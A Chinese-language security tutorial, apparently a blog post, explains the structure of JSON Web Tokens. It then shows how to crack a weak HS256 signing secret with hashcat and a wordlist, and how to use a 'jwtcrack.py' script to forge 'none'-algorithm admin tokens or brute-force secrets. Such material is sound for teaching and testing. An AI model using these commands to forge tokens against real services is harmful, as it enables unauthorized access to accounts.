本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。
JSON Web Tokens
,是一种基于JSON的、用于在网络上声明某种主张的令牌(token)。JWT通常由三部分组成: 头信息(header), 消息体(payload)和签名(signature)。它是一种用于双方之间传递安全信息的表述性声明规范。JWT作为一个开放的标准(RFC 7519),定义了一种简洁的、自包含的方法,从而使通信双方实现以JSON对象的形式安全的传递信息。
“令牌使用私人秘密或公钥/私钥进行签名。例如,服务器可以生成具有“以管理员身份登录”声明的令牌并将其提供给客户端。然后客户端可以使用该令牌来证明它以管理员身份登录。令牌可以由一方的私钥(通常是服务器的)签名,以便该方随后可以验证令牌是合法的。”
JWT通常由三部分组成: 头信息(header), 消息体(payload)和签名(signature)
一段完整的jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.hWgU00w-Sq8jKHr7MD5DSUCMznj5GtHVARKNFgljc9A
头信息(header)
头信息指定了该JWT使用的签名算法
{
"alg": "HS256",
"typ": "JWT"
}
消息体(payload)
消息体包含了JWT的意图和内容
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
签名(signature)
未签名的令牌由base64url编码的头信息和消息体拼接而成(使用"."分隔),签名则通过私有的key计算而成
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),your-256-bit-secret)
客户端通常将JWT通过HTTP的Authorization header发送给服务端,服务端使用自己保存的key验签、验证签名以判断该JWT是否可信,如果服务端保存的key被攻击者得知,那么攻击者就可以伪造任意jwt权限用户登录了。
如上所述,如果服务端保存的key是弱密钥,或者有的开发人员经常将其保留为空白、弱或默认,那么攻击者就可以破解该密码,伪造任意jwt权限用户登录了。
破解工具:
hashcat
使用方法:
echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.hWgU00w-Sq8jKHr7MD5DSUCMznj5GtHVARKNFgljc9A' > jwt.hash
$ hashcat -h |grep JWT
$ hashcat -m 16500 jwt.hash /root/password.txt
得到了秘钥p@ssw0rd
,验证成功
我们可以在jwt.io
随意签发jwt了。
环境
Python >= 3
卸载所有的jwt包
pip3 uninstall pyjwt pip3 uninstall jwt
安装 jwt 包
pip3 install pyjwt==1.6.4 --user -i https://pypi.douban.com/simple
使用
该脚本能实现两种攻击方式:禁用哈希重新生成JWT字符串攻击、批量爆破弱密钥
禁用哈希
python jwtcrack.py -m generate -s {“admin”:“True”}
批量爆破弱密钥
python3 jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.keH6T3x1z7mmhKL1T3r9sQdAxxdzB6siemGMr_6ZOwU --kf /root/jwtpwd.txt
手机扫一扫
移动阅读更方便
你可能感兴趣的文章